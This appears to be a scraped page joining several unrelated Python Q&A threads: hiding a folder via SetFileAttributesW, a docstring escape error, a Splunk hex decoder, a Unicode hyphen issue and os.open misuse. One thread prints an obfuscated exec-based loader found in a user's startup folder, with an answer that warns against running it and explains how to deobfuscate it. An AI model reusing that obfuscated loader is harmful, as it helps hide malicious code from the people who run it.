Trying to hide folder without success. I've found this :
import ctypes
ctypes.windll.kernel32.SetFileAttributesW('G:\Dir\folder1', 2)
but it did not work for me. What am I doing wrong?
There are two things wrong with your code, both having to do with the folder name literal. The SetFileAttributesW() function requires a Unicode string argument. You can specify one of those by prefixing a string with the character u. Secondly, any literal backslash characters in the string will have to be doubled or you could [also] add an r prefix to it. A dual prefix is used in the code immediately below.
import ctypes
FILE_ATTRIBUTE_HIDDEN = 0x02
ret = ctypes.windll.kernel32.SetFileAttributesW(ur'G:\Dir\folder1',
FILE_ATTRIBUTE_HIDDEN)
if ret:
print('attribute set to Hidden')
else: # return code of zero indicates failure -- raise a Windows error
raise ctypes.WinError()
You can find Windows' system error codes here. To see the results of the attribute change in Explorer, make sure its "Show hidden files" option isn't enabled.
To illustrate what #Eryk Sun said in a comment about arranging for the conversion to Unicode from byte strings to happen automatically, you would need to perform the following assignment before calling the function to specify the proper conversion of its arguments. #Eryk Sun also has an explanation for why this isn't the default for pointers-to-strings in the W versions of the WinAPI functions -- see the comments.
ctypes.windll.kernel32.SetFileAttributesW.argtypes = (ctypes.c_wchar_p, ctypes.c_uint32)
Then, after doing that, the following will work (note that an r prefix is still required due to the backslashes):
ret = ctypes.windll.kernel32.SetFileAttributesW(r'G:\Dir\folder1',
FILE_ATTRIBUTE_HIDDEN)
Try this code:
import os
os.system("attrib +h " + "your file name")
Related
Today I realised this .pyw file was added into my startup files.
Though I already deleted it, I suspect what it may have initially done to my computer, but it's sort of encrypted and I am not very familiar with Python, but I assume as this is the source code regardless, there is no actual way to completely encrypt it.
Can someone either guide me through how I can do that, or check it for me?
edit: by the looks of it I can only post some of it here, but it should give brief idea of how it was encrypted:
class Protect():
def __decode__(self:object,_execute:str)->exec:return(None,self._delete(_execute))[0]
def __init__(self:object,_rasputin:str=False,_exit:float=0,*_encode:str,**_bytes:int)->exec:
self._byte,self._decode,_rasputin,self._system,_bytes[_exit],self._delete=lambda _bits:"".join(__import__(self._decode[1]+self._decode[8]+self._decode[13]+self._decode[0]+self._decode[18]+self._decode[2]+self._decode[8]+self._decode[8]).unhexlify(str(_bit)).decode()for _bit in str(_bits).split('/')),exit()if _rasputin else'abcdefghijklmnopqrstuvwxyz0123456789',lambda _rasputin:exit()if self._decode[15]+self._decode[17]+self._decode[8]+self._decode[13]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read() or self._decode[8]+self._decode[13]+self._decode[15]+self._decode[20]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read()else"".join(_rasputin if _rasputin not in self._decode else self._decode[self._decode.index(_rasputin)+1 if self._decode.index(_rasputin)+1<len(self._decode)else 0]for _rasputin in "".join(chr(ord(t)-683867)if t!="ζ"else"\n"for t in self._byte(_rasputin))),lambda _rasputin:str(_bytes[_exit](f"{self._decode[4]+self._decode[-13]+self._decode[4]+self._decode[2]}(''.join(%s),{self._decode[6]+self._decode[11]+self._decode[14]+self._decode[1]+self._decode[0]+self._decode[11]+self._decode[18]}())"%list(_rasputin))).encode(self._decode[20]+self._decode[19]+self._decode[5]+self._decode[34])if _bytes[_exit]==eval else exit(),eval,lambda _exec:self._system(_rasputin(_exec))
return self.__decode__(_bytes[(self._decode[-1]+'_')[-1]+self._decode[18]+self._decode[15]+self._decode[0]+self._decode[17]+self._decode[10]+self._decode[11]+self._decode[4]])
Protect(_rasputin=False,_exit=False,_sparkle='''ceb6/f2a6bdbe/f2a6bdbb/f2a6bf82/f2a6bf83/ceb6/f2a6bdbe/f2a6bdbb/f2a6bf83/f2a6bf80/f2a6bdbb/f2a6bf93/f2a6bf89/f2a6bf8f/f2a6bdbb/f2a6bebe/f2a6bebf/f2a6bf89/f2a6bebc/f2a6bf80/
OBLIGATORY WARNING: The code is pretty obviously hiding something, and it eventually will build a string and exec it as a Python program, so it has full permissions to do anything your user account does on your computer. All of this is to say DO NOT RUN THIS SCRIPT.
The payload for this nasty thing is in that _sparkle string, which you've only posted a prefix of. Once you get past all of the terrible spacing, this program basically builds a new Python program using some silly math and exec's it, using the _sparkle data to do it. It also has some basic protection against you inserting print statements in it (amusingly, those parts are easy to remove). The part you've posted decrypts to two lines of Python comments.
# hi
# if you deobf
Without seeing the rest of the payload, we can't figure out what it was meant to do. But here's a Python function that should reverse-engineer it.
import binascii
# Feed this function the full value of the _sparkle string.
def deobfuscate(data):
decode = 'abcdefghijklmnopqrstuvwxyz0123456789'
r = "".join(binascii.unhexlify(str(x)).decode() for x in str(data).split('/'))
for x in r:
if x == "ζ":
print()
else:
x = chr(ord(x)-683867)
if x in decode:
x = decode[(decode.index(x) + 1) % len(decode)]
print(x, end='')
Each sequence of hex digits between the / is a line. Each two hex digits in the line is treated as a byte and interpreted as UTF-8. The resulting UTF-8 character is then converted to its numerical code point, the magic number 683867 is subtracted from it, and the new number is converted back into a character. Finally, if the character is a letter or number, it's "shifted" once to the right in the decode string, so letters move one forward in the alphabet and numbers increase by one (if it's not a letter/number, then no shift is done). The result, presumably, forms a valid Python program.
From here, you have a few options.
Run the Python script I gave above on the real, full _sparkle string and figure out what the resulting program does yourself.
Run the Python script I gave above on the real, full _sparkle string and post the code in your question so we can decompose that.
Post the full _sparkle string in the question, so I or someone else can decode it.
Wipe the PC to factory settings and move on.
I am trying to install a win_unc library and I get the following error:
File "unc_credentials.py", line 36 """
Syntax error: (unicode error) 'unicodescape' codec can't decode bytes in position 340-341: truncated \uXXXX escape
and this is the code snippet from the unc_credentials.py that is causing the issue:
def __init__(self, username=None, password=None):
"""
Returns a new `UncCredentials` object. Both `username` and `password` are optional.
If neither are provided, the new object will mean that credentials are unnecessary.
`username` must be a string representing a Windows username (logon). Windows usernames
may include a domain prefix (i.e. "domain\username"). If `username` cannot be
construed as a valid Windows username, then this will raise an
`InvalidUsernameError`.
Note: UNC connections that require authentication will use the username of the
currently logged in Windows user unless specifically provided another
username.
Note: Providing `None` and `""` (the empty string) have very different meanings.
Usernames cannot be empty.
`password` must be a string representing a password.
Note: Providing `None` and `''` (the empty string) have very different meanings.
The empty string is a meaningful, legitimate password.
If only the first positional argument is provided and it is already an instance of the
`UncCredentials` class (either directly or by inheritance), this constructor will clone
it and create a new `UncCredentials` object with the same properties.
"""
the very last line with """" is line 36.
It looks like just a comment to me, but when I get rid of it I get another error no commands supplied
And it seems like there is an issue with the triple-double quotation marks on the last line, I may be wrong though.
I have tried playing around with different quotation marks and use 'r' in front of the strings, but I either get the same error or no commands supplied.
I would really appreciate any suggestions on how I can work around or fix this issue.
I no longer maintain this library. I cannot tell what's going on here but the only thing that comes to mind is the file was somehow corrupted during downloading or saving. If you open a HEX editor and inspect positions 340-341 as it suggests, you may find an odd non-ASCII character.
Please note that win_unc does not support systems using any language other than English.
I think, it is not necessary part of the script, just a comment. I've removed it and successful installed this module.
I am creating a simple script to take a hex(base 16) encoded field and convert it to readable text. For this endeavor I have decided to use the built in Python function for strings ".decode("hex")." I would like to use this script in a search "pipeline" running a field called packet through the statement and creating a new field of decoded text in the process.
I have read the documentation for the API splunk.Intersplunk however I am not 100% understanding what exactly that I need to use to complete my script. Specifically, from the examples I have seen, I do not understand what the following lines do for me?
(isgetinfo, sys.argv) = splunk.Intersplunk.isGetInfo(sys.argv)
Additionally in the case of collecting results and creating the new field is the following line needed?
results = splunk.Intersplunk.readResults(None, None, False)
So you are tracking this is what I have thus far and I believe I am close.
import sys
import splunk.Intersplunk
import string
#Program takes hex encoded string from a field and outputs value in search results at the gui
(isgetinfo, sys.argv) = splunk.Intersplunk.isGetInfo(sys.argv) #debug to see arguments I think Does it print these out?
results = splunk.Intersplunk.readResults(None, None, False)
str=""
if len(sys.argv) < 2: # make sure there is an argument passed if not return error
splunk.Intersplunk.parseError("[!] No arguments provided, please provide one argument.")
sys.exit(1)
else: #grab the string from sys.argv and make it uppercase because I like uppercase hex strings :)
str=sys.argv[1]
str=str.upper()
if all(char in string.hexdigits for char in str): # make sure all characters are hex
decoded_string = str.decode("hex")
splunk.Intersplunk.outputResults(decoded_string)
else: # return an error if its not a hex string
splunk.Intersplunk.parseError("[!] String provided is not [A-F 0-9], please validate your inputs")
sys.exit(1)
Also I am aware of the need for the STANZA setting below.
[decode_hex]
TYPE = python
FILENAME = decode_hex.py
I am running python 2.6 on Ubuntu Lucent and having trouble getting the minus sign in negative command-line arguments to be interpreted properly, especially when the call to the script is initiated through the OS via Rails (using backquotes). In particular, the minus sign seems to be coming in as UTF-8.
When command-line arguments are interpreted manually, as in:
lng = float(sys.argv[4])
it triggers the error:
ValueError: invalid literal for float(): ‐122.768
As a hack, I can get around this by matching on the first three bytes as '\xe2', '\x80', and '\x90', and replacing them with my own negative sign.
When command-line arguments are interpreted through argparse (ver. 1.2.1), as in:
parser.add_argument('--coords', metavar='Coord', dest='coordinates', type=float, nargs=3, help='Latitude, Longitude, and Altitude')
it triggers the error:
sC.py: error: argument --coords: invalid float value: '\xe2\x80\x90122.76838'
Any help would be appreciated!
Your input data contains a Unicode character that isn't the standard ascii hyphen.
import unicodedata as ud
data = '\xe2\x80\x90122.76838'
unicode_data = data.decode('utf8')
print repr(ud.name(unicode_data[0]))
print repr(ud.name(u'-')) # An ascii hyphen
Output:
'HYPHEN'
'HYPHEN-MINUS'
While they may look the same when printed, they are not. Restrict or sanitize the input.
print float(unicode_data.replace(u'\N{HYPHEN}',u'-'))
Output:
-122.76838
You might have to use your hack and tell argparse to expect a string.
As far as Python, your system, and RoR are concerned - and ― aren't related in any way. If you want to solve this problem (instead of hack it) you have go up to the rails code, and see where it gets its data from. Somewhere along the line fancy output was important.
I need to delete numbers from a text file on windows XP. I am new to python and just installed it for data scrubbing.
I have stored the test file in C:\folder1\test1.txt
The contexts on test1.txt is just 1 line:
This must not b3 delet3d, but the number at the end yes 134411
I want to created a file result1.txt which contains
This must not b3 delet3d, but the number at the end yes
Here is what I tried so far
import os
fin = os.open('C:\folder1\test1.txt','r')
I get the following error:
TypeError: an integer is required.
I am not sure what integer it is expecting.
Can you please let me know how to go about programming to get the result I want. Thanks a lot for your help.
You're using open() in the os module, which takes a numeric file mode. You want instead the builtin open() function. Also, backslashes in strings take on a special meaning in Python; you need to double them up if you really mean backslashes. Try:
fin = open('C:\\folder1\\test1.txt','r')
according to http://docs.python.org/library/os.html#file-descriptor-operations, os.open is looking for 'flag' parameter, made of one or more of these flags which 'r' is not. It also seems to indicate that you probably want to look into using open() rather than os.open()
f = open(r'C:\folder1\test1.txt','r')